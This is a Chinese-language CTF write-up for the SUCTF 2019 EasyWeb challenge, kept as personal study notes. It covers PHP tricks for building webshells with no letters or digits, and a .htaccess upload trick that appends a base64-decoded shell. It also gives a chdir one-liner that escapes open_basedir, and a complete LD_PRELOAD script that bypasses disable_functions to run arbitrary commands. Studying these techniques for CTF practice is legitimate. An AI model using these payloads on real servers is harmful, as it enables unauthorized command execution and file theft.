刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

题目复现链接:https://buuoj.cn/challenges
参考链接:SUCTF-2019
2019 SUCTF Web writeup
2019-SUCTF-web记录

一、涉及知识点

1、无数字字母shell

先贴大佬的链接:
一些不包含数字和字母的webshell
无字母数字webshell之提高篇
一道题回顾php异或webshell

这个方面充满了奇技淫巧,看的我一愣一愣,先说利用的php特性:

(1)代码中没有引号的字符都自动作为字符串

Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。

我猜这也是为什么传马的时候$_GET['cmd']$_GET[cmd]都可以

(2)Ascii码大于 0x7F 的字符都会被当作字符串

(3)php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型

(4)PHP中的的大括号(花括号{})使用详解

$str{4}在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理

${_GET}{cmd}

57)字符串可以用!操作符来进行布尔类型的转换

<?php
var_dump(@a);   //string(1) "a"
var_dump(!@a);  //bool(false)
var_dump(!!@a); //bool(true)

(6)PHP的弱类型特性

因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

(7)a-zA-Z使用自增变成下一个字母

'a'++ => 'b''b'++ => 'c'

2、利用.htaccess上传文件

<?被过滤时,用伪协议绕过,上传时上传base64编码过的文件

AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

3、绕过open_basedir/disable_function的几种方法

(1)chdir绕过

bypass open_basedir的新方法
通过chdir来bypass open_basedir

chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

(2)链接文件绕过

php5全版本绕过open_basedir读文件脚本
本题中php版本较高,此方法无效

(3)disable_function绕过--利用LD_PRELOAD

很厉害的东西,我看傻了都
无需sendmail:巧用LD_PRELOAD突破disable_functions
disable_function绕过--利用LD_PRELOAD
bypass_disablefunc_via_LD_PRELOAD

条件:PHP 支持putenv()和下面用到的函数

贴上关键脚本

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");
    //error_log("err",1,"","");
    //$img = Imagick("1.mp4");//如果有ImageMagick这个扩展(文件必须存在)
    //imap_mail("","","");//需要安装imap拓展
    //mb_send_mail("","","");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

(4)fpm 绕过

还没解出来,有空再更

猜你喜欢

转载自www.cnblogs.com/20175211lyz/p/11488051.html